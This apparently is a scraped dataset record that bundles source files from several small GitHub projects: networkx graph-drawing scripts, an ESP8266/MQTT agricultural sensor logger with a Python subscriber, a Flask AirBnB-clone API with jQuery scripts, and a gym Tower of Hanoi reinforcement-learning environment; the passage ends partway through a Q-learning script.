[ { "alpha_fraction": 0.505874514579773, "alphanum_fraction": 0.5628463625907898, "avg_line_length": 35.08000183105469, "blob_id": "50965dbdff2cba09eb622137b83d95255bd04f6c", "content_id": "ef0d492999608ab511ead1372b80f4730d719ead", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4511, "license_type": "no_license", "max_line_length": 131, "num_lines": 125, "path": "/bmg_with_senquence.py", "repo_name": "dong0321/paco_ft", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 28 16:43:44 2019\n\n@author: dzhong\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 11 18:07:10 2018\n\n@author: dzhong\n\"\"\"\nfrom networkx import *\nimport pandas as pd\nimport numpy as np\nimport networkx as nx\nimport matplotlib.pyplot as plt\n \nimport math\n\nplt.figure(figsize=(8, 8))\n\n\nnum_nodes=12\nlog2 = int(math.log(num_nodes, 2))\n\n\nG = nx.cycle_graph(num_nodes)\n\n#labels={(0,1):'seq:1',(0,11):'seq:6',(0,2):'seq:2',(0,10):'seq:5',(0,4):'seq:3',(0,8):'seq:4'}\nlabels={(3,5):'seq:3',(3,4):'seq:1',(3,7):'seq:5'}\n\nfor x in range (0, num_nodes):\n for j in range (0, log2+1):\n G.add_edge(x, (x - (pow(2,j)) +num_nodes)%num_nodes)\n G.add_edge(x, (x+pow(2,j))%num_nodes)\n\"\"\"\nfor x in range (3, 4):\n for j in range (0, log2+1):\n nx.draw_networkx_edges( G, pos=nx.circular_layout(G), \n edgelist=[(x, (x - (pow(2,j)) +num_nodes)%num_nodes)],\n width=3,edge_color='k',alpha =0.7)\n \n nx.draw_networkx_edges( G, pos=nx.circular_layout(G), \n edgelist=[(x, (x+pow(2,j))%num_nodes)],\n width=3,edge_color='k',alpha =0.7, arrows=True,arrowsize=20, arrowstyle='fancy')\n\"\"\" \nlabels1={(3,7):'seq:8'}\nlabels2={(3,2):'seq:2',(3,1):'seq:4'}\nlabels3={(3,11):'seq:6'}\nlabels4={(3,11):'seq:7'}\n\nnx.draw_networkx_edge_labels(G, pos=nx.circular_layout(G), edge_labels =labels , label_pos = 0.5, font_size = 15)\n\nnx.draw_networkx_edge_labels(G, pos=nx.circular_layout(G), edge_labels =labels1 , label_pos = 0.3,\n label_color='blue', font_size = 15,font_color='blue')\nnx.draw_networkx_edge_labels(G, pos=nx.circular_layout(G), edge_labels =labels2 , label_pos = 0.5,\n label_color='blue', font_size = 15,font_color='blue')\n\nnx.draw_networkx_edge_labels(G, pos=nx.circular_layout(G), edge_labels =labels3 , label_pos = 0.5,\n label_color='blue', font_size = 15,font_color='blue')\nnx.draw_networkx_edge_labels(G, pos=nx.circular_layout(G), edge_labels =labels4 , label_pos = 0.3,\n label_color='blue', font_size = 15,font_color='black')\n\n\nposi=nx.circular_layout(G)\nnew_posi=nx.circular_layout(G)\n\nposi['0']=posi.pop(3)\nposi['1']=posi.pop(4)\nposi['2']=posi.pop(5)\nposi['3']=posi.pop(6)\nposi['4']=posi.pop(7)\nposi['5']=posi.pop(8)\nposi['6']=posi.pop(9)\nposi['7']=posi.pop(10)\nposi['8']=posi.pop(11)\nposi['9']=posi.pop(0)\nposi['10']=posi.pop(1)\nposi['11']=posi.pop(2)\n\nnew_posi[0]=posi.pop('0')\nnew_posi[1]=posi.pop('1')\nnew_posi[2]=posi.pop('2')\nnew_posi[3]=posi.pop('3')\nnew_posi[4]=posi.pop('4')\nnew_posi[5]=posi.pop('5')\nnew_posi[6]=posi.pop('6')\nnew_posi[7]=posi.pop('7')\nnew_posi[8]=posi.pop('8')\nnew_posi[9]=posi.pop('9')\nnew_posi[10]=posi.pop('10')\nnew_posi[11]=posi.pop('11')\n\n\nnx.draw_networkx_edges( G, pos=nx.circular_layout(G), \n edgelist=[(3,4),(3,5),(3,1),(3,2)],\n width=3,edge_color='black',alpha =0.7)\n\nnx.draw_networkx_edges( G, pos=nx.circular_layout(G), \n edgelist=[(3,7),(3,11)],\n width=3,edge_color='black',alpha =0.7)\n#for x in range (4, 5):\n #for j in range (0, log2+1):\n # nx.draw_networkx_edges( G, pos=nx.circular_layout(G), \n # edgelist=[(x, (x - (pow(2,j)) +num_nodes)%num_nodes)],\n # width=3,edge_color='r',alpha =0.7)\n \n #nx.draw_networkx_edges( G, pos=nx.circular_layout(G), \n # edgelist=[(x, (x+pow(2,j))%num_nodes)],\n # width=3,edge_color='r',alpha =0.7, arrows=True,arrowsize=20, arrowstyle='fancy')\n \n#labels1={(4,0):'seq:2',(4,8):'seq:1',(4,2):'seq:4',(4,6):'seq:3',(4,3):'seq:6',(4,5):'seq:5'}\n \n#nx.draw_networkx_edge_labels(G, pos=nx.circular_layout(G), edge_labels =labels1 , label_pos = 0.6, font_size = 14, font_color='r')\nnodes = nx.draw_networkx_nodes(G, new_posi,node_color='white',node_size=1500,linewidths=3)\nnodes.set_edgecolor('black')\n\nnx.draw(G, with_labels=True, node_color='none', pos=new_posi,#pos=nx.circular_layout(G), \n edge_color ='black', width=2, font_size=30, font_weight =\"regular\",style = \"dotted\")\nplt.savefig('review_BMG_seq.png',dpi=300,bbox_inches='tight')\nplt.savefig('review_BMG_seq.pdf',dpi=300,bbox_inches='tight')\n\n" }, { "alpha_fraction": 0.569543719291687, "alphanum_fraction": 0.6344144940376282, "avg_line_length": 33.96154022216797, "blob_id": "dd1918e92d511fc2f040ef50bd126b1a550beb57", "content_id": "7f9578d4a1f148664ed6341696df05644e25a7b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1819, "license_type": "no_license", "max_line_length": 73, "num_lines": 52, "path": "/spanning_tree_with_seq.py", "repo_name": "dong0321/paco_ft", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 11 18:07:10 2018\n\n@author: dzhong\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport networkx as nx\nimport matplotlib.pyplot as plt\n \nfrom networkx.drawing.nx_agraph import write_dot, graphviz_layout\n\n#G = nx.DiGraph()\nG = nx.MultiDiGraph()\nG.add_node(\"0\",fontsize=25,penwidth=3)\n\nfor i in range(1):\n G.add_nodes_from([1,2,4,8],fontsize=25,penwidth=3)\n G.add_nodes_from([3,5,9,6,10],fontsize=25,penwidth=3)\n G.add_nodes_from([7,11],fontsize=25,penwidth=3)\n\n# G.add_node(\"Process_%i\" % i)\n# G.add_node(\"Grandchild_%i\" % i)\n# G.add_node(\"Greatgrandchild_%i\" % i)\n G.add_edge(0,1,label=\"seq:1\", fontsize=20,penwidth=3)\n G.add_edge(0,2,label=\"seq:3\", fontsize=20,penwidth=3)\n G.add_edge(0,4,label=\"seq:5\", fontsize=20,penwidth=3)\n G.add_edge(0,8,label=\"seq:7\", fontsize=20,penwidth=3)\n G.add_edge(0,10, color='blue', label=\"seq:4\", fontsize=20,penwidth=3)\n #G.add_node(2,color='blue',style='filled',weight=0.5)\n G.add_edge(0,11,color='blue', label=\"seq:2\", fontsize=20,penwidth=3)\n G.add_edge(0,4, color='blue', label=\"seq:8\", fontsize=20,penwidth=3)\n #G.add_node(2,color='blue',style='filled',weight=0.5)\n G.add_edge(0,8, label=\"seq:6\",color='blue', fontsize=20,penwidth=3)\n G.add_edges_from([(1, 3), (1, 5),(1, 9),(2, 6), (2, 10)],penwidth=3)\n G.add_edges_from([(3, 7), (3, 11)],penwidth=3)\n\n # G.add_edge(\"0\", \"Process_%i\" % i)\n # G.add_edge(\"Process_%i\" % i, \"Grandchild_%i\" % i)\n# G.add_edge(\"Grandchild_%i\" % i, \"Greatgrandchild_%i\" % i)\nfor u,v,d in G.edges(data=True):\n d['weight']=30\n #d['color']='green'\n print(d)\n# write dot file to use with graphviz\n# run \"dot -Tpng test.dot >test.png\"\nwrite_dot(G,'test.dot')\n\n#run in shell: dot -Tpdf test.dot -o review_reorder_span.pdf\n\n" } ]
2
amacharla/AirBnB_clone_v4
https://github.com/amacharla/AirBnB_clone_v4
ba3c15adf9682369a97350135ed1bb289b9e2ab3
19ad0e696551386eef989c65356fb3121733878f
887b9d666af4ba7c1feff9b8a0240be3cccaf7e1
refs/heads/master
2021-05-12T02:29:56.767769
2018-01-26T20:37:56
2018-01-26T20:37:56
117,589,340
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5863217115402222, "alphanum_fraction": 0.5960553288459778, "avg_line_length": 31.53333282470703, "blob_id": "f3d82abf4b8c30403986ce2dd465d26dd01ab1c2", "content_id": "92f783cb5d291294417942d36b49eda641d133c3", "detected_licenses": [ "LicenseRef-scancode-public-domain" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3904, "license_type": "permissive", "max_line_length": 74, "num_lines": 120, "path": "/api/v1/views/places.py", "repo_name": "amacharla/AirBnB_clone_v4", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"places.py\"\"\"\n\nfrom api.v1.views import app_views\nfrom flask import abort, jsonify, make_response, request\nfrom models import storage\nfrom models.city import City\nfrom models.place import Place\nfrom models.user import User\n\n\n@app_views.route('/cities/<string:city_id>/places', methods=['GET'],\n strict_slashes=False)\ndef get_places(city_id):\n \"\"\"get place information for all places in a specified city\"\"\"\n city = storage.get(\"City\", city_id)\n if city is None:\n abort(404)\n places = []\n for place in city.places:\n places.append(place.to_dict())\n return jsonify(places)\n\n\n@app_views.route('/places/<string:place_id>', methods=['GET'],\n strict_slashes=False)\ndef get_place(place_id):\n \"\"\"get place information for specified place\"\"\"\n place = storage.get(\"Place\", place_id)\n if place is None:\n abort(404)\n return jsonify(place.to_dict())\n\n\n@app_views.route('/places/<string:place_id>', methods=['DELETE'],\n strict_slashes=False)\ndef delete_place(place_id):\n \"\"\"deletes a place based on its place_id\"\"\"\n place = storage.get(\"Place\", place_id)\n if place is None:\n abort(404)\n place.delete()\n storage.save()\n return (jsonify({}))\n\n\n@app_views.route('/cities/<string:city_id>/places', methods=['POST'],\n strict_slashes=False)\ndef post_place(city_id):\n \"\"\"create a new place\"\"\"\n city = storage.get(\"City\", city_id)\n if city is None:\n abort(404)\n if not request.get_json():\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n kwargs = request.get_json()\n if 'user_id' not in kwargs:\n return make_response(jsonify({'error': 'Missing user_id'}), 400)\n user = storage.get(\"User\", kwargs['user_id'])\n if user is None:\n abort(404)\n if 'name' not in kwargs:\n return make_response(jsonify({'error': 'Missing name'}), 400)\n kwargs['city_id'] = city_id\n place = Place(**kwargs)\n place.save()\n return make_response(jsonify(place.to_dict()), 201)\n\n\n@app_views.route('/places/<string:place_id>', methods=['PUT'],\n strict_slashes=False)\ndef put_place(place_id):\n \"\"\"update a place\"\"\"\n place = storage.get(\"Place\", place_id)\n if place is None:\n abort(404)\n if not request.get_json():\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n for attr, val in request.get_json().items():\n if attr not in ['id', 'user_id', 'city_id', 'created_at',\n 'updated_at']:\n setattr(place, attr, val)\n place.save()\n return jsonify(place.to_dict())\n\n@app_views.route('/places_search', methods=['POST'], strict_slashes=False)\ndef places_search():\n \"\"\"Search for Places having specified amenities and from listed\n cities and/or states\"\"\"\n body = request.get_json(silent=True)\n if body is None:\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n states = body.get('states', [])\n cities = set(body.get('cities', []))\n for state in states:\n st = storage.get('State', state)\n for city in st.cities:\n cities.add(city.id)\n amenities = body.get('amenities', [])\n all_places = storage.all('Place').values()\n if not cities:\n results = set(all_places)\n else:\n results = set()\n for place in all_places:\n for city in cities:\n if city == place.city_id:\n results.add(place)\n break\n if not amenities:\n filtered = list(results)\n else:\n filtered = []\n for place in results:\n pas = map(lambda pa: pa.id, place.amenities)\n ainp = all(a in pas for a in amenities)\n if ainp:\n filtered.append(place)\n filtered = list(map(lambda p: p.to_dict(), filtered))\n return jsonify(filtered)\n" }, { "alpha_fraction": 0.5680000185966492, "alphanum_fraction": 0.5706666707992554, "avg_line_length": 36.5, "blob_id": "8869ab46a7b465bba9fdb0057ed8f394d86eafca", "content_id": "71f89fca47e4493b6e4b9422f803edae6f22a3de", "detected_licenses": [ "LicenseRef-scancode-public-domain" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 375, "license_type": "permissive", "max_line_length": 81, "num_lines": 10, "path": "/web_dynamic/static/scripts/1-hbnb.js", "repo_name": "amacharla/AirBnB_clone_v4", "src_encoding": "UTF-8", "text": "$(document).ready(function () {\n let amenityFilter = {};\n $('div.amenities input:checkbox').change(\n function () {\n if ($(this).is(':checked')) {\n amenityFilter[$(this).attr('data-id')] = ' ' + $(this).attr('data-name');\n } else delete amenityFilter[$(this).attr('data-id')];\n $('div.amenities h4').text(Object.values(amenityFilter));\n });\n});\n" }, { "alpha_fraction": 0.546822726726532, "alphanum_fraction": 0.5635451674461365, "avg_line_length": 32.22222137451172, "blob_id": "81ce50b046555d5d21c863327f5f85dfe192c752", "content_id": "75cd3ceb5b0c913a6ed453a5d01aa797ee77c212", "detected_licenses": [ "LicenseRef-scancode-public-domain" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 598, "license_type": "permissive", "max_line_length": 81, "num_lines": 18, "path": "/web_dynamic/static/scripts/2-hbnb.js", "repo_name": "amacharla/AirBnB_clone_v4", "src_encoding": "UTF-8", "text": "$(document).ready(function () {\n let amenityFilter = {};\n $('div.amenities input:checkbox').change(\n function () {\n if ($(this).is(':checked')) {\n amenityFilter[$(this).attr('data-id')] = ' ' + $(this).attr('data-name');\n } else delete amenityFilter[$(this).attr('data-id')];\n $('div.amenities h4').text(Object.values(amenityFilter));\n });\n\n $.getJSON('http://0.0.0.0:5001/api/v1/status/')\n .done(function (data) {\n $('div#api_status').addClass('available');\n })\n .fail(function (data) {\n $('div#api_status').removeClass('available');\n });\n});\n" } ]
3
alejandrarchbold/IoT-agriculture-measurements
https://github.com/alejandrarchbold/IoT-agriculture-measurements
d5f18b3a2e41f47479943b644f676768ccde8319
3ef2de8639d6f343e07e7c9436c8270eb02ca120
ec4abce1647ba815f40925f7a591ddac5e5b7dd2
refs/heads/main
2023-05-09T01:22:21.132032
2021-05-31T05:34:12
2021-05-31T05:34:12
353,847,543
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7864077687263489, "alphanum_fraction": 0.7961165308952332, "avg_line_length": 44.77777862548828, "blob_id": "775c97e1851865dd880b9f9cc1c5c77232df9d68", "content_id": "96a000674a1fe991a12d0af39e84b76891768de7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 414, "license_type": "no_license", "max_line_length": 132, "num_lines": 9, "path": "/README.md", "repo_name": "alejandrarchbold/IoT-agriculture-measurements", "src_encoding": "UTF-8", "text": "# IoT-agriculture-measurements\nProyecto de Fundamentos de Sistemas Digitales\n\n## Pasos para correr el proyecto\n\n1. Escribir en la terminal: mosquitto -p (nombre del puerto)\n2. Correr el arduino el cรณdigo, cambiar IP y clave WiFi de la carpeta cod-arduino\n3. Conectar el hardware\n4. Correr el python readFromMqtt de la carpeta analisis_mediciones para tener otro cliente en el brรณker de Mqtt y guardar los datos.\n" }, { "alpha_fraction": 0.531438946723938, "alphanum_fraction": 0.5429262518882751, "avg_line_length": 24.060606002807617, "blob_id": "3f6472df5b297299339ac3766bfe2dba8789ea4c", "content_id": "8a5436e0e28621a83b6a73cc8d4e26beec93cd9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1655, "license_type": "no_license", "max_line_length": 101, "num_lines": 66, "path": "/analisis_mediciones/readFromMqtt.py", "repo_name": "alejandrarchbold/IoT-agriculture-measurements", "src_encoding": "UTF-8", "text": "import csv\nfrom pprint import pprint as pp\nimport paho.mqtt.client as mqtt\nimport datetime\n\n\ndef on_connect(client, userdata, flags, rc):\n\n print(\"Connected with result code \"+str(rc))\n client.subscribe(\"esp/#\") #subscripciรณn a todos los temas de la forma \"esp/*\"\n\ndef on_message(client, userdata, message): # documentacion mqtt\n\n msg = str(message.payload.decode(\"utf-8\")) \n topic = message.topic \n\n topic = topic.split('/') \n topic = topic[1:] \n\n now = datetime.datetime.now()\n current_time = now.strftime(\"%Y-%m-%d %H:%M:%S\") # guarda la fecha como timestap\n \n topic.append(msg)\n topic.append(current_time)\n\n\n tmpMsg.append(topic) # temas de las mediciones\n\n if len(tmpMsg) == 5: \n pp(tmpMsg)\n \n msgN.append(tmpMsg.copy()) \n tmpMsg.clear() \n\n\n if len(msgN) == 2:\n \n print(\"displaying message: \")\n pp(msgN)\n print() \n\n with open('data.csv', 'a') as csvfile: \n filewriter = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n \n for row in msgN:\n pp(row)\n filewriter.writerows(row)\n \n msgN.clear()\n\nmsgN = [] \ntmpMsg = [] \n\n\nmqttBroker = \"192.168.20.25\" \nport = 1886 \n\nclient = mqtt.Client()\n\nclient.on_message = on_message\nclient.on_connect = on_connect\n\nclient.username_pw_set(username=\"aaatest1\", password=\"aaatest1_nuncasupecomoseescribe\")\nclient.connect(mqttBroker, port)\n\nclient.loop_forever()\n" }, { "alpha_fraction": 0.6571428775787354, "alphanum_fraction": 0.7071428298950195, "avg_line_length": 22.5, "blob_id": "48a8f5ba8c4bba19e9ec1af5216b5d90ac54b415", "content_id": "673e89a9d9ea867e4718f42eba55dbaf989197d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 140, "license_type": "no_license", "max_line_length": 67, "num_lines": 6, "path": "/analisis_mediciones/readArduino.py", "repo_name": "alejandrarchbold/IoT-agriculture-measurements", "src_encoding": "UTF-8", "text": "import serial\narduino = serial.Serial('/dev/ttyUSB0', baudrate=9600, timeout=1.0)\n\nwhile True:\n line = arduino.readline()\n print(line)" }, { "alpha_fraction": 0.6237446069717407, "alphanum_fraction": 0.6538737416267395, "avg_line_length": 23.89285659790039, "blob_id": "a74c2f16bcb9ad6cc0e0ebf45e90d6c601c55509", "content_id": "cafb08cde9e8b7f9afc55b7f160e568ca4111f32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2791, "license_type": "no_license", "max_line_length": 140, "num_lines": 112, "path": "/cod-arduino/mqtt_bme280_bh1750/mqtt_bme280_bh1750.ino", "repo_name": "alejandrarchbold/IoT-agriculture-measurements", "src_encoding": "UTF-8", "text": "#include <ArduinoMqttClient.h>\n#include <ESP8266WiFi.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <BH1750.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BME280.h>\n\n#include \"/home/alejandra/Desktop/IoT-agriculture-measurements/mqtt_bme280_bh1750/net_secrets.h\"\n\nchar ssid[] = SECRET_SSID; // nombre Wi-Fi\nchar pass[] = SECRET_PASS; // contraseรฑa Wi-Fi\n\nWiFiClient wifiClient;\nMqttClient mqttClient(wifiClient); // Cliente Mqtt\n\nconst char broker[] = \"192.168.20.25\"; // Ip\nint port = 1885; // puerto Mqtt\n\n\nString topics[5] = {\"pressure/\", \"temp/\", \"hum/\", \"lux/\", \"awita/\"}; // temas para recibir\nString deviceId = \"AAL\"; \n\nAdafruit_BME280 bme; // sensor de tem, hum, pressure \nBH1750 lightMeter(0x23); // sensor de lux\n\nint pinRain = A0; // sensor de lluvia\nint DigitalRain = 0;\n\n\n// la guia del codigo es basado en los ejemplos de ArduinoMqttClient (WiFiAdvancedCallback\n\nvoid setup(){\n Serial.begin(9600);\n\n Wire.begin();\n \n while (!Serial) {\n ;\n }\n\n\n Serial.print(\"Attempting to connect to WPA SSID: \");\n Serial.println(ssid);\n while (WiFi.begin(ssid, pass) != WL_CONNECTED) {\n // failed, retry\n Serial.print(\".\");\n delay(5000);\n }\n\n Serial.println(\"You're connected to the network\");\n Serial.println();\n\n mqttClient.setUsernamePassword(\"aaatest1\", \"aaatest1_nuncasupecomoseescribe\"); // usuario\n\n\n Serial.print(\"Attempting to connect to the MQTT broker: \");\n Serial.println(broker);\n\n if (!mqttClient.connect(broker, port)) {\n Serial.print(\"MQTT connection failed! Error code = \");\n Serial.println(mqttClient.connectError());\n\n while (1);\n }\n\n Serial.println(\"You're connected to the MQTT broker!\");\n Serial.println();\n\n\n if (lightMeter.begin(BH1750::CONTINUOUS_HIGH_RES_MODE)) {\n Serial.println(F(\"BH1750 Advanced begin\"));\n }\n else {\n Serial.println(F(\"Error initialising BH1750\"));\n }\n\n bool status = bme.begin(0x76);\n \n}\n\nvoid loop() {\n mqttClient.poll();\n DigitalRain = analogRead(pinRain);\n\n //mediciones: [presiรณn en hPa, humedad, temperatura, lux, Lluvia]\n double measurement[5] = {bme.readPressure()/100.0F, bme.readTemperature(), bme.readHumidity(), lightMeter.readLightLevel(), DigitalRain};\n\n //creaciรณn de las payload con los datos a ser enviado a cada tema\n String payloads[5] = {\"\", \"\", \"\", \"\", \"\"};\n\n for(int i = 0; i < 5; i++)\n payloads[i] += measurement[i];\n \n bool retained = false; \n int qos = 2; \n bool dup = false;\n \n for(int i = 0; i < 5; i++){\n mqttClient.beginMessage(\"esp/\"+topics[i]+deviceId, payloads[i].length(), retained, qos, dup);\n mqttClient.print(payloads[i]);\n mqttClient.endMessage();\n\n Serial.println();\n Serial.print(topics[i]+deviceId);\n Serial.print(\"/\");\n Serial.print(payloads[i]);\n Serial.println();\n }\n\n delay(5000);\n}\n" } ]
4
RoadLuck/hanoi-tower-RL
https://github.com/RoadLuck/hanoi-tower-RL
5e5a03a3a76533323b48adf5aa5978f7a3673d86
440a1158d97e91a67c3b0c088982355ce483b55d
5c7c65a2f47b1955761f0677ee986b77adcfff5b
refs/heads/master
2023-06-19T07:30:25.448162
2021-07-13T15:54:50
2021-07-13T15:54:50
383,255,074
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49804043769836426, "alphanum_fraction": 0.5141871571540833, "avg_line_length": 35.4514274597168, "blob_id": "46a2f0f3a5e8d54b5edbcaf399d0e0ee25d9a379", "content_id": "cb7a53d35bad1a9b3bd9bf0364333c592ea87be0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6379, "license_type": "no_license", "max_line_length": 98, "num_lines": 175, "path": "/gym_hanoi/envs/hanoi_env.py", "repo_name": "RoadLuck/hanoi-tower-RL", "src_encoding": "UTF-8", "text": "import gym\nfrom gym import error, spaces, utils\nfrom gym.utils import seeding\n\nimport random\nimport itertools\nimport numpy as np\n\n\nclass HanoiEnv(gym.Env):\n metadata = {'render.modes': ['human']}\n\n def __init__(self):\n self.num_disks = 4\n self.env_noise = 0\n self.action_space = spaces.Discrete(6)\n self.observation_space = spaces.Tuple(self.num_disks*(spaces.Discrete(3),))\n\n self.current_state = None\n self.goal_state = self.num_disks*(2,)\n\n self.done = None\n self.ACTION_LOOKUP = {0 : \"(0,1) - top disk of pole 0 to top of pole 1 \",\n 1 : \"(0,2) - top disk of pole 0 to top of pole 2 \",\n 2 : \"(1,0) - top disk of pole 1 to top of pole 0\",\n 3 : \"(1,2) - top disk of pole 1 to top of pole 2\",\n 4 : \"(2,0) - top disk of pole 2 to top of pole 0\",\n 5 : \"(2,1) - top disk of pole 2 to top of pole 1\"}\n\n def step(self, action):\n \"\"\"\n * Inputs:\n - action: integer from 0 to 5 (see ACTION_LOOKUP)\n * Outputs:\n - current_state: state after transition\n - reward: reward from transition\n - done: episode state\n - info: dict of booleans (noisy?/invalid action?)\n 0. Check if transition is noisy or not\n 1. Transform action (0 to 5 integer) to tuple move - see Lookup\n 2. Check if move is allowed\n 3. If it is change corresponding entry | If not return same state\n 4. Check if episode completed and return\n \"\"\"\n if self.done:\n raise RuntimeError(\"Episode has finished. Call env.reset() to start a new episode.\")\n\n info = {\"transition_failure\": False,\n \"invalid_action\": False}\n\n if self.env_noise > 0:\n r_num = random.random()\n if r_num <= self.env_noise:\n action = random.randint(0, self.action_space.n-1)\n info[\"transition_failure\"] = True\n\n move = action_to_move[action]\n\n if self.move_allowed(move):\n disk_to_move = min(self.disks_on_peg(move[0]))\n moved_state = list(self.current_state)\n moved_state[disk_to_move] = move[1]\n self.current_state = tuple(moved_state)\n else:\n info[\"invalid_action\"] = True\n\n if self.current_state == self.goal_state:\n reward = 100\n self.done = True\n elif info[\"invalid_action\"] == True:\n reward = -1\n else:\n reward = 0\n\n return self.current_state, reward, self.done, info\n\n def disks_on_peg(self, peg):\n \"\"\"\n * Inputs:\n - peg: pole to check how many/which disks are in it\n * Outputs:\n - list of disk numbers that are allocated on pole\n \"\"\"\n return [disk for disk in range(self.num_disks) if self.current_state[disk] == peg]\n\n def move_allowed(self, move):\n \"\"\"\n * Inputs:\n - move: tuple of state transition (see ACTION_LOOKUP)\n * Outputs:\n - boolean indicating whether action is allowed from state!\n move[0] - peg from which we want to move disc\n move[1] - peg we want to move disc to\n Allowed if:\n * discs_to is empty (no disc of peg) set to true\n * Smallest disc on target pole larger than smallest on prev\n \"\"\"\n disks_from = self.disks_on_peg(move[0])\n disks_to = self.disks_on_peg(move[1])\n\n if disks_from:\n return (min(disks_to) > min(disks_from)) if disks_to else True\n else:\n return False\n\n def reset(self):\n self.current_state = self.num_disks * (0,)\n self.done = False\n return self.current_state\n\n def render(self, mode='human', close=False):\n return\n\n def set_env_parameters(self, num_disks=4, env_noise=0, verbose=True):\n self.num_disks = num_disks\n self.env_noise = env_noise\n self.observation_space = spaces.Tuple(self.num_disks*(spaces.Discrete(3),))\n self.goal_state = self.num_disks*(2,)\n\n if verbose:\n print(\"Hanoi Environment Parameters have been set to:\")\n print(\"\\t Number of Disks: {}\".format(self.num_disks))\n print(\"\\t Transition Failure Probability: {}\".format(self.env_noise))\n\n def get_movability_map(self, fill=False):\n # Initialize movability map\n mov_map = np.zeros(self.num_disks*(3, ) + (6,))\n\n if fill:\n # Get list of all states as tuples\n id_list = self.num_disks*[0] + self.num_disks*[1] + self.num_disks*[2]\n states = list(itertools.permutations(id_list, self.num_disks))\n\n for state in states:\n for action in range(6):\n move = action_to_move[action]\n disks_from = []\n disks_to = []\n for d in range(self.num_disks):\n if state[d] == move[0]: disks_from.append(d)\n elif state[d] == move[1]: disks_to.append(d)\n\n if disks_from: valid = (min(disks_to) > min(disks_from)) if disks_to else True\n else: valid = False\n\n if not valid: mov_map[state][action] = -np.inf\n\n move_from = [m[0] for m in action_to_move]\n move_to = [m[1] for m in action_to_move]\n\n # # Try to get rid of action loop - vectorize...\n # for state in states:\n # s = np.array(state)\n # disks_from = []\n # disks_to = []\n #\n # for d in range(self.num_disks):\n # a_from = [a for a, v in enumerate(move_from) if v == s[d]]\n # a_to = [a for a, v in enumerate(move_to) if v == s[d]]\n #\n # if disks_from:\n # valid = (min(disks_to) > min(disks_from)) if disks_to else True\n # else:\n # valid = False\n #\n # if not valid:\n # mov_map[state][action] = -np.inf\n return mov_map\n\n\naction_to_move = [(0, 1), (0, 2), (1, 0),\n (1, 2), (2, 0), (2, 1)]\n\n# action_to_move = {0: (0, 1), 1: (0, 2), 2: (1, 0),\n# 3: (1, 2), 4: (2, 0), 5: (2, 1)}\n" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.5921787619590759, "avg_line_length": 26.2391300201416, "blob_id": "9caa337317c77d45261ecd5b31afa0df64d40575", "content_id": "f40ecccfdeebe7622facf8f289f13fcd983b9a53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1253, "license_type": "no_license", "max_line_length": 58, "num_lines": 46, "path": "/gym_hanoi/tests/test.py", "repo_name": "RoadLuck/hanoi-tower-RL", "src_encoding": "UTF-8", "text": "import os\nimport unittest\nimport gym\nimport gym_hanoi\n\n\nclass Environment(unittest.TestCase):\n\n def test_hanoi_env_make(self):\n gym.make(\"Hanoi-v0\")\n\n def test_hanoi_env_reset(self):\n env = gym.make(\"Hanoi-v0\")\n env.reset()\n\n def test_hanoi_env_step(self):\n env = gym.make(\"Hanoi-v0\")\n env.reset()\n state, reward, done, info = env.step(0)\n self.assertEqual(len(state), 4)\n self.assertEqual(env.env_noise, 0)\n\n def test_hanoi_env_make_noise(self):\n env = gym.make(\"Hanoi-v0\")\n env.set_env_parameters(env_noise=0.5)\n self.assertEqual(env.env_noise, 0.5)\n\n def test_hanoi_env_make_disks(self):\n env = gym.make(\"Hanoi-v0\")\n env.set_env_parameters(num_disks=7)\n env.reset()\n state, reward, done, info = env.step(0)\n self.assertEqual(len(7), 7)\n self.assertEqual(env.env_noise, 0)\n\n def test_hanoi_env_make_noise_and_disks(self):\n env = gym.make(\"Hanoi-v0\")\n env.set_env_parameters(env_noise=0.3, num_disks=7)\n env.reset()\n state, reward, done, info = env.step(0)\n self.assertEqual(len(7), 7)\n self.assertEqual(env.env_noise, 0.3)\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.5403087735176086, "alphanum_fraction": 0.5694682598114014, "avg_line_length": 28.149999618530273, "blob_id": "3630c6b0ed3e3c1f5c2757895a9e014e197f5b2c", "content_id": "db9027eddecc285ca6099a28de0d88c350882927", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1166, "license_type": "no_license", "max_line_length": 117, "num_lines": 40, "path": "/hanoi-q-learn.py", "repo_name": "RoadLuck/hanoi-tower-RL", "src_encoding": "UTF-8", "text": "import gym\nimport gym_hanoi\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom agent import Agent\n\nif __name__ == '__main__':\n env = gym.make('Hanoi-v0')\n env.set_env_parameters(num_disks=2)\n\n actions = env.action_space.n\n states = len(env.observation_space)*3\n\n \n 